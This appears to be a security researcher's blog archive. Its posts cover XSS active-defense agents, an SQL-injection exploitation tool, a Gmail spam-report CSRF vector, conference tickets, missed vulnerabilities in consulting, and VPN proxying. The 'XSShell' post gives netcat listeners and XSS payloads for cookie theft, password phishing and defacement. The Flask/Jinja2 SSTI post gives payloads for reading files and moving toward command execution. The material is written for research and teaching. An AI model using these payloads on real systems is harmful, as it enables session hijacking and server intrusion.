This is where we left off. It was a ton of fun, took a good bit of time, and everyone walked away unscathed... except for a few bruises and broken toes (I was dedicated to the part). I will eventually parlay this into something more closely tied to computer programming, but this was a great way to introduce my children to programming concepts, even though they have no idea that's what they were doing.

I'd love to hear some feedback on this. Especially if you have ideas on ways to make it better, or other examples of ways to introduce more complex constructs like functions, etc. Let me know what you come up with!

XSS Active Defense

2018-06-18T00:00:00Z

While I don't do active defense in any part of my professional life, I enjoy developing active defense techniques for web technologies. Lately I've been dabbling in active defense mechanisms for Cross-Site Scripting (XSS) attacks, and as the developer of the HoneyBadger geolocation framework, incorporating the research into new reporting techniques and agents.

First, the basics. XSS is a client-side code injection issue where the goal is to inject client-side code in such a way that a malicious payload executes in the JavaScript context, regardless of where the payload lands in the page. The bottom line is that the final attack executes as JavaScript. When attempting to discover XSS flaws, an attacker is always going to develop proof-of-concept payloads to validate the issue prior final exploitation. This is a universal methodology. The first active defense technique I want to share preys on this universal behavior.

The most common proof-of-concept payload used during the discovery process is typically some variation of the alert JavaScript function, regardless of the context. I understand that there are many options with which to conduct a proof-of-concept attack, but this technique applies to all of them and for this demonstration we're going to use alert. Like many other programming/scripting languages like it, we have the ability to overwrite functions in JavaScript. If we know that an attacker is going to use the alert function to create a proof-of-concept while validating XSS on a target application, then the alert function itself becomes an opportunity for detection and action when we apply what we know about JavaScript. Take the following block of code:

var _alert = window.alert;
window.alert = function(msg) {
    // report malicious behavior
    _alert(msg);
}

This code saves the original alert function as _alert. The code then creates a new alert function. The new alert function does anything we want whenever the browser calls it, and then initiates the original behavior by calling _alert. Since the alert function usually indicates malicious behavior, this gives us an opportunity to detect an attack, and in the case of active defense, respond with some action of our own. Let's expand on the above code to do something interesting.

var _alert = window.alert;
window.alert = function(msg) {
    img = new Image();
    img.src = "https://<honeybadger host>/api/beacon/<target guid>/HTML";
    _alert(msg);
}

The added code is a HoneyBadger HTML agent using a JavaScript image object. The cool thing about creating an image this way is that browsers immediately fire off the request for the src as soon as it is set, and the image never has to be added to the DOM. This means there is no visual evidence of attack in the user interface. As it stands right now, there are a variety of agents that we could place in our fake alert function, i.e. HTML, JavaScript (HTML5), Java Applet, etc., but you can literally do anything you'd like. Pretty cool, right?

Beyond overwriting the alert function, there are a few other XSS specific HoneyBadger agents that I've come up with recently: Content-Security-Policy and XSS-Protection. Both of these agents incorporate reporting functionality for debugging issues during the implementation process. However, defenders can use the reporting functionality built into these mechanisms to report back to say... a HoneyBadger server.

The Content-Security-Policy agent reports upon any violation of the configured policy, which when done correctly indicates the introduction of arbitrary client-side code. Incorporating either of these agents into a web page requires the ability to set headers for the page's response. The following headers create the Content-Security-Policy agent:

X-XSS-Protection: 0
Content-Security-Policy-Report-Only: <policy>; report-uri https://<honeybadger host>/api/beacon/<target guid>/Content-Security-Policy

The X-XSS-Protection header disables the browser-side XSS protection before the Content Security Policy is configured. This is because browser-side XSS protection will trigger before the Content Security Policy and prevent the agent from working.

The XSS-Protection agent reports any time the built-in browser XSS protection mechanism triggers, which indicates the presence of a known XSS attack. The following header creates the XSS-Protection agent:

X-XSS-Protection: 1; report=https://<honeybadger host>/api/beacon/<target guid>/XSS-Protection

These agents cannot be used together. Using them together will only allow the XSS-Protection agent to trigger, as described above. I recommend the Content-Security-Policy agent for any environment that already has it implemented, and the XSS-Protection agent for those that don't. However, be mindful that the headers these agents use are only supported by some browsers. To see the Content-Security-Policy agent in action, check out a target demo page on any deployed HoneyBadger instance.

SQLi Exploiter: Exploiting Complex SQL Injections

2018-05-24T00:00:00Z

Raise your hand if you've ever had sqlmap fail to find or exploit a vulnerability you knew to exist? I imagine there's a lot of folks with their hands up right now. Okay, put your hands down.

I'll be the first person to tell you that sqlmap can almost always be tuned to discover a SQL injection vulnerability found through other means. I'll also be the first to recommend never using sqlmap to discover new SQL injection vulnerabilities. While discovering SQL injection vulnerabilities is not a strength of sqlmap, it is without a doubt the king of exploiting them. The trick is, sqlmap has to discover the vulnerability before it can exploit it. So if it can't discover it, it can't exploit it... you know where I'm going with this. The bottom line is, there is only so much you can do with command line switches and sometimes you run into edge cases where sqlmap just doesn't get it. Hence, the reason for this blog article.

I was on a test recently where I discovered a timing-based blind injection vulnerability in an ORDER BY clause that prevented the use of single quotes. I searched the vast sqlmap help file, explored the tamper scripts, and spent several hours trying to get sqlmap to discover the vulnerability I had found. The developer of sqlmap could probably have configured sqlmap to find it, but I could not. I can honestly say this was the first time this has happened to me. I've talked to many people that say it happens all the time, but I'd be willing to bet it was a result of them not knowing the sqlmap configuration options or the vulnerablity well enough to tell sqlmap how to find it. But I digress. Sqlmap wasn't doing it for me this time.

So I decided to use Burp Intruder. If you've never done blind SQL injection enumeration with Intruder before, it's actualy quite fun. You create insertion points for each part of the query that needs to be enumerated, then you create the associated payload sets and run the attack. Sorting by various columns depending on the vulnerabilty will allow you to determine what was enumerated by the attack. The biggest problem with this approach is that Intruder isn't smart enough to stop enumerating when a successful character is enumerated from one of the payload sets. Therefore, it has to continue all of the other payloads in the set, which at this point we know are going to fail. When the vulnerability is timing-based, this can result in extended wait times. Also, it's extremely noisy from a monitoring perspective. In this case, the timing condition was any response that took longer than two seconds to respond. Start doing the math. Yeah.

I've built my career on finding gaps and filling them. The space between Intruder and sqlmap with regards to exploiting complex SQL injections is space worth filling. So I built something.

https://github.com/lanmaster53/sqli-exploiter

Be warned, this is not a script kiddie tool. Usage requires detailed knowledge of the vulnerability, a thorough understand of the functionality available in the affected RDBMS, and the ability to write Python. However, the good news is that it is highly configurable as a result. I can't imagine an injection scenario that it can't be configured to exploit. Give it a shot and let me know what you think.

Report Spam. Get Owned.

2018-03-15T00:00:00Z

So, a couple weeks ago Matt Svensson (@TechNerdings) dropped me a DM in Twitter:

Random other thing that I am curious if you guys have seen anything on... I just got an email from the local eye clinic. I hit the "spam" button on Gmail to report spam and unsubscribe. What I didn't realize is that it actually opens the unsubscribe link in the browser. Good news, easy unsubscribe. Maybe.....if you properly craft the spam...you could use the unsubscribe button to open a malicious web page?

Um... yeah! I immediately thought of how great a CSRF-via-email attack vector this was. Think about it. Users are trained not to click links, but in the case of Gmail, they're taught to click the handy-dandy "Report Spam" button to report it to the spam filter. But wait a second. The handy-dandy "Report Spam" button will go the extra step and unsubscribe the user from future attacks as well if the user so desires... and they do.

Scenario

An attacker crafts a spam message with an embedded "unsubscribe" link containing the CSRF attack payload like so:

The attacker then sends the email to their victims. In the process of reporting suspicious links and unsubscribing from future messages, because it's the "safe" thing the victims were trained to do, Google clicks the link for the victims, and the CSRF attack payload is triggered from the victim's browser.

Further Study

Being a user of both Gmail and G Suite, I did some additional testing and noticed some other interesting behavior regarding the effectiveness of this attack across these platforms.

Gmail to G Suite worked as noted above.
G Suite to Gmail resulted in a different message that did not have the option to mark as spam and unsubscribe and warned of possible danger.
Gmail to Gmail worked as well.

Interesting. You'd think the stuff coming from Gmail would be the most suspicious because anyone could create a free Gmail account and use it for spam. But Google trusts the Gmail stuff where it warns of the G Suite stuff.

While in theory I love this idea, it wasn't nearly as awesome in practice. After a little bit of fooling around, I couldn't get it to trigger in any of my accounts anymore. Gmail learned something about my attempts to replicate the attack and stopped asking about the spam when clicking the "Report Spam" button. Even after going into the spam folder and marking the message as "Not Spam." I suspect when you report something as spam once, Gmail remembers and doesn't ask whether you want to unsubscribe or just filter the next time you click the "Report Spam" button. It just filters it.

Verifying Targets

Before this information is at all useful, an attacker must validate whether or not their target is using one of Google's email services. Detecting Gmail is easy. Just look for the @gmail.com domain in the email address. Detecting G Suite isn't much harder. Do a MX record lookup for the email addresses domain (hostname actually) via DNS and examine the mail server addresses. Below is an example of using dig to conduct such a lookup for the tim.tomes@practisec.com email address:

$ dig -t MX practisec.com +short
1 aspmx.l.google.com.
5 alt1.aspmx.l.google.com.
5 alt2.aspmx.l.google.com.
10 alt3.aspmx.l.google.com.
10 alt4.aspmx.l.google.com.

As you can see, it quickly becomes obvious who the target is using for a mail provider. Any domain other than gmail.com using Google's mail servers is a G Suite user.

Responsible Disclosure

With Matt's permission, I went ahead and submitted the issue to Google as a security issue, knowing full well that it was a long shot. I mean, technically, the onus is on the user to understand their technology, but Google definitely makes it easier to exploit users through their platform, albeit to attack someone else's vulnerability. Google's response?

Status: Won't Fix (Intended Behavior)

Thanks Google.

If the bug is ever made public, it will be available here.

Cooling Down the Hottest Ticket in Town

2017-08-26T00:00:00Z

We had an interesting conversation on the Proverbs Hackers mailing list today about getting tickets for popular conferences that have limited ticket sales. Security conferences most often thought of in this category are DerbyCon and ShmooCon. For anyone that has tried to get tickets to one of these conferences in the traditional fashion, you know the struggle is real. The conversation got me thinking about ways you can acquire a ticket that you may not realize are available. Below is the result of that thought exercise.

Automate it. If you do go the traditional route, every second counts. Never more so than with DerbyCon, which has traditionally opened up ticket sales early. There was a lot of dialog on that this year as they sold out before they were actually supposed to go on sale. For conferences like DerbyCon, racing for a ticket upon release is the worst way to try and get a ticket. But if you insist, set up a curl or wget based heart beat script for the registration page and have it running 30 minutes before the scheduled start. This should give you the best chance of being one of the first to know when sales actually start. My wife and I did this for her Walker Stalker tickets this year and it worked great. Here's a one-liner to get you started: while :; do ping -c 3 127.0.0.1 2>&1 >/dev/null; curl -s {purchase url} | grep "{text unique to pre-sale condition}" || say "go go go"; done
Submit to the conference CFP. This has always been my approach. Places like ShmooCon have traditionally provided opportunities to buy tickets for every CFP submission. The system can be "gamed" a bit, but there is also always a chance that your CFP gets accepted, so be prepared to speak if you go this route.
Buy second hand. This has traditionally been the best way to get a ticket for these conferences. I usually just keep an eye on Twitter. Especially, the day the conference sends CFP acceptance letters. This is the day that the accepted folks off-load the ticket they bought as a back up plan.
Pay an accepted speaker their honorarium in exchange for the extra ticket they get offered. Many conferences offer an honorarium OR a second free ticket to the conference for accepted CFP submissions. Get in touch with someone whose CFP submission was accepted and offer to pay their honorarium in exchange for a ticket. Then, they can choose the extra ticket over the honorarium as their "gift" and sell it to you on site. This might cost a little more, as honorariums are typically more than the ticket price, but usually not by much.
Go to training. Most conferences include access to the seminars with a training ticket. This is the most expensive way, but you get the most too.

So, perhaps this will open a door for someone that really wants to get a ticket to a conference, but thought they were out of options. If you happen to use one of these techniques and it works, I'd love to hear your success story. Good luck, and happy hunting. It's officially conference season.

Handling Missed Vulnerabilities

2017-04-05T00:00:00Z

(Originally posted at https://nvisium.com/blog/2017/04/05/handling-missed-vulnerabilities/.)

Robin "digininja" Wood wrote this interesting article about the impact of missing vulnerabilities during security assessments. He makes a lot of good points, and the reality is, it's something we all deal with. Robin talks about how missing a vulnerability can be the end of one's career, or at least a large step backward. While this is true, his article only addresses the impact at a micro level. I'd like to expand on that.

As the Managing Consultant of a growing Application Security Consulting practice, this issue takes on a much larger form. We are no longer talking about one person's career. We are talking about an entire organization on whom employees' livelihood rely. Missing a vulnerability at this level can have some major consequences that affect a lot more than the offending consultant.

But it's going to happen. It's not a matter of if, but when. So it's important to be prepared when something like this does happen. As someone that has put a good bit of thought into this issue due to my position at nVisium, I've compiled my thoughts on the issue from prevention to reaction. These thoughts cover various hypothetical examples, attempt to identify the root problem, and discuss solutions to help rectify the situation.

Scenarios

The most probable scenario that could lead to missed vulnerabilities is retesting an application that the same consultancy has tested previously. Most good consultancies understand that there is value in rotating consultants for portfolio clients, but there is also risk. No two consultants are the same. Strengths, weaknesses, techniques, and tool sets vary, and with that, the results of their respective assessments. While those that employ this technique see this as a benefit to the client, if the consultant that tested most recently finds something that existed for a previous test but was overlooked, the client is more than likely not going to be thrilled about it, especially if it was something simple. The spectrum of response here is large as there is a significant difference between missing something during a black box assessment that gets picked up by an SCA tool vs. missing something via black box assessment that results in a major breach, but none of the possible outcomes are desireable. This is the scenario that most often leads to the uncomfortable discussion of the client attempting to govern which consultant is allowed to work on their assessments moving forward. I've heard stories of this going as far as direct threats to end all future work unless the consultant was terminated from employment. I can't imagine this is a comfortable position to be in.

While not the most common, the most damaging scenario is when the security assessment is the first step in the implementation of a bug bounty program. If you think it is bad having one of your own consultants find something that another one of your consultants missed, imagine a client having to pay a bug bounty for a vanilla vulnerability that one of your consultants missed. These are resume generating events.

Framing the Problem

There are four main reasons for encountering these scenarios and others like them: time, effort, aptitude, and methodology. The TEAM acronym was a complete accident, but works out pretty darn perfectly.

Time

Time is the thing that most restricts security assessments, and is the biggest difference between testers and the threats they attempt to replicate. In most cases, testers don't have the same amount of time as the threat, so time becomes a variable that is considered with varying levels of information in an attempt to most accurately represent the threat in a reduced period of time. Let's face it. No one wants to pay enough to truly replicate the threat.

All of these variables come into play during a process called scoping. Scoping is an extremely important part of the assessment planning process, as it is a key component to providing consultants with enough time to complete an engagement. If a conslultant is given too little time, then corners are cut, full coverage is not achieved, and we've introduced an opportunity for inconsistency.

There are a lot of things to consider when scoping.

Higher level assets (senior consultants, etc.) are faster than lower level assets (junior consultants, etc.). Low level assets will have to conduct more research on tested components, tools, etc. in order to sufficiently do the job. In fact, so much of what testers do at every level is largely on-the-job self-training. I don't know about you, but I hire based on a candidate's capacity to learn over what they already know. However, there is always a learning curve that must be considered when scoping an engagement in order to ensure full coverage.

Threat replication is a different kind of test than bug hunting. Depending on what kind of consulting the tester specializes in, they're either threat focused, or vulnerablity focused. To be vulnerablity focused is to focus on finding every possible vulnerability in a target. To be threat focused is to focus on replicating a very specific threat and only try to find what is needed to accomplish the determined goal of the replicated threat. The focus obviously has a huge impact on the amount of time required to complete the engagement, and the accuracy at which one can scope the engagement. When focusing on bugs, there are static metrics that can be analyzed to determine the size of the target: lines of code, dynamic pages, APIs, etc. Threat focused testing is much more subjective, as until you encounter something that gets you to the next level, you don't know how long it's going to take to get there.

Budget is often the most important factor in scoping, even though in many cases it is an unknown to the person doing the scoping. Quite often, a client's eyes are bigger than their wallet, and once they get a quote, they begin discussing ways to reduce the price of the engagement. While this is perfectly fine, and most of us would do it if we were in their shoes as well, consultancies have to be very careful not to obligate themselves to a full coverage assessment in a time frame that is unrealistic.

When cost isn't the determining factor that leads to over-obligation, it's client deadlines. You want to help your client, but they need it done by next week and it's easily a three week engagement. Be careful of this pitfall. There are solutions to helping the client without introducing opportunities for inconsistency. Keep reading.

The bottom line is, the consultant performing the engagement must have enough time to complete it in accordance with the terms of the contract. If the contract says "best effort", then pretty much any level of completion meets the standard. Otherwise, the expectation is full coverage for the identified components. Without enough time, you can be sure some other consultant, internal or extenal, is going to eventually follow up with a full coverage assessment that find something the previous consultant missed.

Addressing the "time" problem begins with refining the scoping process. This requires good feedback from consultants and tracking. Consultancies need to know when something is underscoped, overscoped, and why, and the only way to do this is to gather metrics about the timing of engagements from raw data sources, and from the consultants doing the work. When client budget is affecting the scope, consider recommending a "best effort" engagement, or an assessment that focuses on the specific components that are most important to the client. If a client has a hard deadline, consider leveraging more resources over a shorter period of time in order to meet their goal. There are always options, but the bottom line is to prevent the possibility of inconsistencies by making sure consultants have adequate time to meet contract requirments.

Effort

Effort is a personal responsibility. If a consultant doesn't put in the expected quantity of work to complete the job as scoped, but bills for the same, then not only will this introduce the opportunity for inconsistency, but the consultant is essentially stealing from the client on behalf of the consultancy. This is a serious offense with no easy solution. So much of what indicates a person's sustained level of effort comes from maturity and work ethic. Identifying these is something consultancies should do during the candidacy stage of the employment process.

Another aspect of effort is how consultants approach deliverables. It's no secret. Most consultants don't enjoy writing deliverables. Regardless, deliverables are the one thing left with the client when the consultant finishes an engagement. It provides the lasting impression that the client will have of the consultant, and more importantly, the consultancy. However, every so often consultants take shortcuts to reduce the time it takes to create a deliverable. This always leads to lower quality product and opportunities for inconsistency. Consultants must assume that the next consultant to see this target is going to put the requisite effort into the deliverable. The bottom line is, report everything. Whether the consultant uses paragraphs, bullets, or tables, if they discovered 30 instances of XSS, they need to report all 30 of them in the deliverable. They shouldn't just say, "We determined this to be systemic, so fix everywhere." This is poor quality consulting. It's ok to say things are systemic and that there may be other instances not found for one reason or another, but if the consultant found 30 instances, they need to pass that information to the client. They paid for it. Another common deliverable shortcut is grouping vulnerabilities by type without proper delineation. User Enumeration in a login page is very different from User Enumeration in a registration page, and recommendations for how to remediate these issues are completely different. If a consultant lumps all instances of User Enumeration into one issue and doesn't clearly delineate between the specific issues, then the consultant isn't putting in the required level of effort to prevent inconsistencies with future engagements.

Effort isn't an issue that can be addressed through administrative or technical controls. Effort comes from who someone is, their work ethic, and their level of passion toward the task at hand. Unfortunately, passion and work ethic isn't something that can be taught at this point in life, and if this is the issue, then the only option may be parting ways. This is why it is important to have a good vetting process for employment candidates to ensure that candidates exhibit the qualities indicative of someone who will provide the level of effort desired.

Aptitude

A lack of aptitude is often mistaken for a lack of effort. The reality is that some people are just more gifted than others, and all consultants can't be held to the same standard. While certainly not always the case, skill level is quite often related to the quantity of experience in the field. It's why we have Junior, Mid-level, Senior, and Principal level consultants. As mentioned previously, a Junior consultant cannot be expected to accomplish as much as a Senior consultant in the same amount of time. The Junior will require more time to research the target components, tools, techniques, etc. required to successfully complete the engagement. While this is a scoping consideration, it's also a staffing consideration. There is a higher margin on low level consultants. They cost less per hour, so they are more profitable on an hourly basis when the rate charged to the client is the same as a consultant senior to them. A stable of capable Junior consultants can be quite profitable, but can also introduce inconsistency.

Depending on the consultancy's strategic vision, there are a couple of approaches to solving the issue of aptitude. Many consultancies will try to avoid the issue all together by employing nothing but Senior level consultants or above. This is typical in small organizations with a high operational tempo and not enough resources to develop Junior consultants. These consultancies are basically throwing money at the problem. Their margin will be much lower, but they'll be able to maintain a higher operational tempo and incur less risk to testing inconsistencies related to skill. Another approach is a program to develop Junior consultants in an effort to increase margin and reduce the risk to testing inconsistencies over time. A great way to approach Junior consultant development is by pairing them up with consultants senior to them on every engagement. That way, they'll have constant leadership and someone they can lean on for mentorship on a constant basis. This allows the consultancy to get through engagements in a shorter time span due to having multiple assets assigned, but the scope of the project should consider the learning curve of the Junior consultant. In many cases, the increased speed of the senior asset will counter the slower speed of the junior asset, reducing the impact on the scoping process.

Regardless of the approach, consultancies should empower their consultants to cross train and knowledge share on a constant basis. Something we've done at nVisium is to conduct bi-monthly lunch-and-learns. These are informal presentations of something related to the field from one consultant to the rest of the team. This serves two purposes. For senior consultants, it is an opportunity to share something new or unknown to junior level consultants. For junior consultants, it is an opportunity to professionally develop on a consistent basis, as each consultant rotates through. An added benefit for juniors is that there are few things that motivate someone to become a subject matter expert on a topic more than committing to presenting on that topic to a group of their peers. It is surprisingly affective, and the reason I write articles and present at conferences to this day.

Another thing we do at nVisium is cultivate a highly collaborative environment via tools like Slack. So much so, that rarely does it feel like consultants are working on engagements alone. It is quite common to see code snippets and theory being tossed around and more than a handful of people sharing ideas about something encountered on an app only one of them is assigned to. This hive mind approach is not only highly affective in finding the best way forward for specific issues, but provides a great opportunity for Junior consultants to ask questions, receive clarification, and learn from their peers. It also attacks consistency at it's core as these events usually result in a public determination of where the organization stands on the issue and becomes an established standard moving forward. Everyone is involved, so everyone is aware.

Methodology

This is where I see consultants at all levels mess up more than anywhere else. Everyone thinks they're too good for methodology until someone else finds something new while following the methodology on the same application. The testing methodologies we use in Information Security today are proven. They work by laying the framework to maximize the time given to accomplish the task while providing a baseline level of analysis. I've seen consultants blow off methodology and one of two things happens: they spend all their time chasing phantom vulnerabilities (also known as "rabbit holes" and "red herrings") and fail to make full coverage, or think they have full coverage only to realize they missed multiple vanilla vulnerabilites when someone else tested the same target at a later time. In either case, an opportunity for inconsistency is introduced because it's is not a matter of if someone will follow with proper methodology, it's a matter of when.

Addressing this is about finding a balance between controlling the assessment process and allowing testers to exercise creative freedom. I am a firm believer in not forcing consultants to test in a confined environment by requiring them to use a checklist. Many of today's most critical vulnerabilities exist in business logic. Discovering vulnerabilities in how the application enforces logical controls to business processes requires a creative approach. Forcing consultants to use a checklist robs them of their creativity, reducing the likelihood of them actually testing outside of the items on the checklist. Since logic vulnerabilities are specific to the business process, they can't be checklist items. So while checklist testing is a good way to ensure a higher level of consistency, it leads to a consistent product lacking quality and completeness.

At nVisium we've developed what we call a "testing guide." What makes our guide different from a checklist is that the guide is merely a series of questions about the application. How testers answer the questions is up to them. They can use their own techniques and their own tool set. The idea is that through answering each of the questions within the guide, the tester will have exercised the application in its entirety and maximized the likelihood of identiying all vulnerabilities. Including business logic flaws. This guide is not a deliverable, and it's not something that supervisors check for. It's a tool at the disposal of the consultant, and each consultant knows that the others are using it, so the system is self-policing.

The Inevitable

Even with all of this in place, someone is going to miss something. And when they do, the organization must conduct damage control. Damage control measures are largely going determined by how the client reacts to the issue. It is purely reactionary at this point by all parties. However, thinking through possible scenarios as a staff and "wargaming" these situations will better prepare the team for the inevitable.

I'm a firm believe in owning your mistakes. I have way more respect for people that make mistakes and own them, than I do for folks that claim they never make any mistakes. Do you know what you call someone that never seems to be at fault for anything because they don't make mistakes? Dishonest. These individuals and the organizations they represent are immediately tagged as untrustworthy. We're in an industry where trust is the cornerstone of everything we do. Our clients entrust us with their intellectual property; the heart and soul of their businesses. Their livelihood. If we can't be trusted, we won't stay in business very long. Organizations and individuals alike must own their mistakes.

After owning the mistake, the organization needs to make it right. Once again, this depends on what the issue is, but remember that the issue is not in a vacuum. So someone missed a small issue during a small assessment for a small client. One might feel inclined to let it go. Don't forget that our industry is small, and word travels fast. There's far too much risk in not doing the right thing here folks.

The organization must accept the fact that sometimes making it right won't be enough. Clients pay consultancies a lot of money and expect a quality product. If the consultancy fails to deliver, the client has every right to find someone else that will, and the consultancy shouldn't be surprised if they do. In a perfect world, clients would understand our line of work and the difficulty in ensuring 100% consistency, but you don't need me to tell you this isn't a perfect world.

Wrapping Up

So it's going to happen, and someone is going to be dealing with the fallout. Chances are it won't be comfortable, but if the organization has implemented controls to reduce the frequency, and prepared themselves for occassions where the controls fail, they'll be equipped and prepared to limit the damage and ultimately live to test another day.

Proxying thru Virtual Client VPNs

2016-12-01T00:00:00Z

So, I'm sorta OCD. Anyone that knows me will attest to that. When it comes to my computing environments, I can't stand clutter. That includes both the external and internal components of my computing environment. One particular point of interest for me is the number of applications installed on my system. I've always felt like limiting the amount of software on my system to only what I needed, and avoiding endless install and uninstall cycles, has resulted in a more stable system. I have no scientific proof to back this up, but it's always worked for me, so I like to keep my system clean and tidy. However, in my line of work, where one-off tools for testing and research abound, this is a daily challenge.

One particular annoyance in my quest to keep a clean and tidy system is VPN. This is because when it comes to remote access into client environments, in the words of Roseanne Rosannadanna, "It's always something." For example, the VPN client software doesn't work on OS X. The VPN requires host checking that isn't compatible with OS X. Every client uses a different VPN solution and software client, resulting in a dozen VPN clients residing on the same system and conflicting with one another. The end result is a delayed engagement and a mess of installed software.

The way I address this issue is by using VMs to create compatible environments where I install everything that is needed for remote access. Easy enough, right? But now we're faced with the problem of having our favorite tools, some of which may be commercial or incompatible with the VM OS, configured and licensed on our host machine. It's one thing to tunnel a VM through a VPN on the host. That's a simple as configuring the VM interface in NAT, or shared mode. Tunneling a host through a VPN on the VM is another challenge altogether, and not as easily solved. Here's a step-by-step for how I approach the problem. Perhaps you'll find it useful in your daily struggles against VPN software clutter.

Update

Tuesday, March 28, 2017

A co-worker and I were struggling through configuring Privoxy on a recent test when it hit me, "Why not use Burp Suite Free as the proxy on the VM?" So I started looking through the Burp Suite Free configuration and discovered some settings that allowed me to replace Privoxy with Burp Suite Free on the VM. There are several advantages to using Burp Suite Free over Privoxy. First, Burp Suite Free is a tool that we are familiar with. Second, Burp Suite Free is easier to install and configure than Privoxy. Finally, Burp Suite Free performs much better than Privoxy. There was a noticeable speed increase when I switched from Privoxy to Burp Suite Free. All this being said, below is a revised guide using Burp Suite Free as the proxy instead of Privoxy.

Configure a VM with the required VPN client software and configuration, and validate that it works.
Shut down the VM and add a second network adapter to the VM.
Configure network adapter 1 (original) as bridged mode.
Configure network adapter 2 (new) as host-only mode.
Start the VM and install Burp Suite Free. I prefer the installer to the stand-alone jar file, as it seems to be more stable and doesn't require a separate Java install.
Configure the VM's Burp proxy to listen on all interfaces.
Configure the VM's Burp Proxy to pass through SSL. This is fine, as we're not doing anything here but forwarding the Host OS's traffic to the VPN. We don't want this instance of Burp terminating TLS.
Configure the VM's Burp Proxy to not record any traffic. We definitely don't need to waste resources by storing traffic we'll never use.
Note the IP address of the host-only interface on the VM.
Connect to the VPN on the VM.
Configure Burp on the host with the host-only interface as an upstream proxy (IP address from step 9 and port from step 6).
Profit. Man I hate it when people say this.

Fun with XSShell

2016-07-15T00:00:00Z

So this is kinda fun. With this page open, copy and paste one of the listener commands from below into a terminal window on your local machine. Then, paste alert(42) into the resulting shell and press "Enter". Once you recover from the initial shock of what you just witnessed, play with the following payloads and spend the next hour of life thoroughly enjoying yourself.

Listeners

Linux

while :; do printf "j$ "; read c; printf "HTTP/1.1 200 OK\n\n$c" | nc -lp 8000 >/dev/null; done

OS X

while :; do printf "j$ "; read c; printf "HTTP/1.1 200 OK\n\n$c" | nc -l 8000 >/dev/null; done

Example Payloads

Redirection

window.location = 'https://www.practisec.com/training/'

Phishing

i=new Image();i.src="http://127.0.0.1:8888/pw/"+prompt("Password:")

Requires a second listener, e.g. python -m "SimpleHTTPServer" 8888.

Session Hijacking

i=new Image();i.src="http://127.0.0.1:8888/pw/"+document.cookie

Requires a second listener, e.g. python -m "SimpleHTTPServer" 8888.

Defacement

d=document;e=d.createElement("p");e.innerHTML="lanmaster53 wuz here!";d.body.appendChild(e)

Credits

This is all based on the code shared in the following tweets.

XSShell - Target

<svg/onload=setInterval(function(){d=document;z=d.createElement("script");z.src="//HOST:PORT";d.body.appendChild(z)},0)>
— Brute (@brutelogic) September 2, 2015

XSShell - Attacker

$ while :; do printf "j$ "; read c; echo $c | nc -lp PORT >/dev/null; done
— Brute (@brutelogic) September 2, 2015

Check the source code here ^^^ for the active payload.

Exploring SSTI in Flask/Jinja2 - Part 2

2016-03-11T00:00:00Z

I recently wrote this article about exploring the true impact of Server-Side Template Injection (SSTI) in applications leveraging the Flask/Jinja2 development stack. My initial goal was to find a path to file or operating system access. I was previously unable to do so, but thanks to some feedback on the initial article, I have since been able to achieve that goal. This article is the result of the additional research.

The Nudge

In response to the initial article, Nicolas G published the following tweet.

@LaNMaSteR53 @albinowax @garethheyes {{''.__class__.mro()[1].__subclasses__()[46]('touch /tmp/rce',shell=True)}} (may be version-dependent)
— Nicolas G (@_qll_) March 9, 2016

If you play with this payload a bit, you'll quickly notice that it doesn't work. There are several good reasons for that, which I'll get to shortly. The key takeaway, however, is that this payload uses several very important introspection utilities that we left out in our previous research: the __mro__ and __subclasses__ attributes.

DISCLAIMER: The following explanations are very high level. I have no desire to act like I know more about this stuff than I do. Most of the time when I'm dealing with obscure parts in the guts of a language/framework, I just try stuff to see if it gives me some desired behavior, but I don't always know why the end result is what it is. I am still learning the "why" behind these attributes, but I at least wanted to give you some sort of intro.

The MRO in __mro__ stands for Method Resolution Order, and is defined here as, "a tuple of classes that are considered when looking for base classes during method resolution." The __mro__ attribute consists of the object's inheritance map in a tuple consisting of the class, its base, its base's base, and so on up to object (if using new-style classes). It is an attribute of each object's metaclass, but is a truly hidden attribute, as Python explicitely leaves it out of dir output (see Objects/object.c at line 1812) when conducting introspection.

The __subclasses__ attribute is defined here as a method that "keeps a list of weak references to its immediate subclasses." for each new-style class, and "returns a list of all those references still alive."

Greatly simplified, __mro__ allows us to go back up the tree of inherited objects in the current Python environment, and __subclasses__ lets us come back down. So what's the impact on the search of a greater exploit for SSTI in Flask/Jinja2? By starting with a new-type object, e.g. type str, we can crawl up the inheritance tree to the root object class using __mro__, then crawl back down to every new-style object in the Python environment using __subclasses__. Yes, this gives us access to every class loaded in the current python environment. So, how do we leverage this new found capability?

Exploitation

There are a few things to consider here. The Python environment will consist of:

Things native to all Flask applications.
Things custom to the target application.

We are after a universal exploit, so we want to set up our test environment to be as close to native Flask as possible. The more we add to the application in the way of imported libraries and 3rd party modules, the less universal our attack vector will become. Our previous proof-of-concept application was a good candidate for this, so let's continue to use it.

The cool thing about what we're about to do is that it requires no modification of the target source in order to discover an exploit vector. In the previous article, we had to add some functionality to the vulnerability in order to conduct introspection. This is no longer required.

The first thing we want to do is is select a new-style object to use for accessing the object base class. We can simply use '', a blank string, object type str. Then, we can use the __mro__ attribute to access the object's inherited classes. Inject {{ ''.__class__.__mro__ }} as a payload into the SSTI vulnerability.

We can see the previously discussed tuple being returned to us. Since we want go back to the root object class, we'll leverage an index of 2 to select the class type object. Now that we're at the root object, we can leverage the __subclasses__ attribute to dump all of the classes used in the application. Inject {{ ''.__class__.__mro__[2].__subclasses__() }} into the SSTI vulnerability.

As you can see, there is a lot of stuff here. In the target application I am using, there are 572 accessible classes. This is where things get tricky, and why the tweeted payload mentioned above doesn't work. Remember, not every application's Python environment will look the same. The goal is to find something useful that leads to file or operating system access. It is probably not all that uncommon to find classes like subprocess.Popen used somehere in an application that may not be otherwise exploitable, such as the application affected by the tweeted payload, but from what I've found, nothing like this is available in native Flask. Luckily, there is capability in native Flask that allows us to achieve similar behavior.

If you comb through the output of the previous payload, you should find the <type 'file'> object. This is the key to file system access. While open is the builtin function for creating file objects, the file class is also capable of instantiating file objects, and if we can instantiate a file object, then we can use methods like read to extract the contents. To demonstrate this, find the index of the file class and inject {{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }} where 40 is the index of the <type 'file'> object in my environment.

So, we've now demonstrated that arbirtrary file access is possible via SSTI in Flask/Jinja2, but we're not done yet. My goal in this was Remote Code/Command Execution.

The previous article referenced several methods of the config object that load objects into the Flask configuration environment. One such method was the from_pyfile method. Below is the code for the from_pyfile method of the Config class, flask/config.py.

    def from_pyfile(self, filename, silent=False):
        """Updates the values in the config from a Python file.  This function
        behaves as if the file was imported as module with the
        :meth:`from_object` function.

        :param filename: the filename of the config.  This can either be an
                         absolute filename or a filename relative to the
                         root path.
        :param silent: set to `True` if you want silent failure for missing
